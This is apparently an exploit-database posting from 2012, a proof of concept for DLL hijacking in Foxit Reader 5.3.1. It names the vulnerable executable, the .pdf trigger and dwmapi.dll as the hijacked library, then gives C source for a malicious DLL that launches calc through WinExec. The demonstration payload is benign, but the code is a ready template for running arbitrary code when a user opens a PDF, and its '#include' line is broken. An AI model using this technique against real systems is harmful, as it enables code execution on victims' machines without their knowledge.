Exploit Title: foxit reader 5.3.1(dwmapi.dll) DLL Hijacking Exploit Date: 2012-08-23 Author: coolkaveh coolkaveh@rocketmail.com Greets To Mohammad Morteza Sanaie sanaie.morteza@gmail.com Https://twitter.com/coolkaveh Vendor Homepage: http://www.foxitsoftware.com/ Version: 5.3.1.0606 Tested on: windows XP Sp3 ENG --------------------------------------------------------- # Vulnerable: foxit reader.exe --------------------------------------------------------- # Vulnerable extensions: .pdf --------------------------------------------------------- # Vulnerable Dll: dwmapi.dll --------------------------------------------------------- #include #define DllExport __declspec (dllexport) DllExport void hook_startup() { exp(); } int exp() { WinExec("calc", 0); exit(0); return 0; }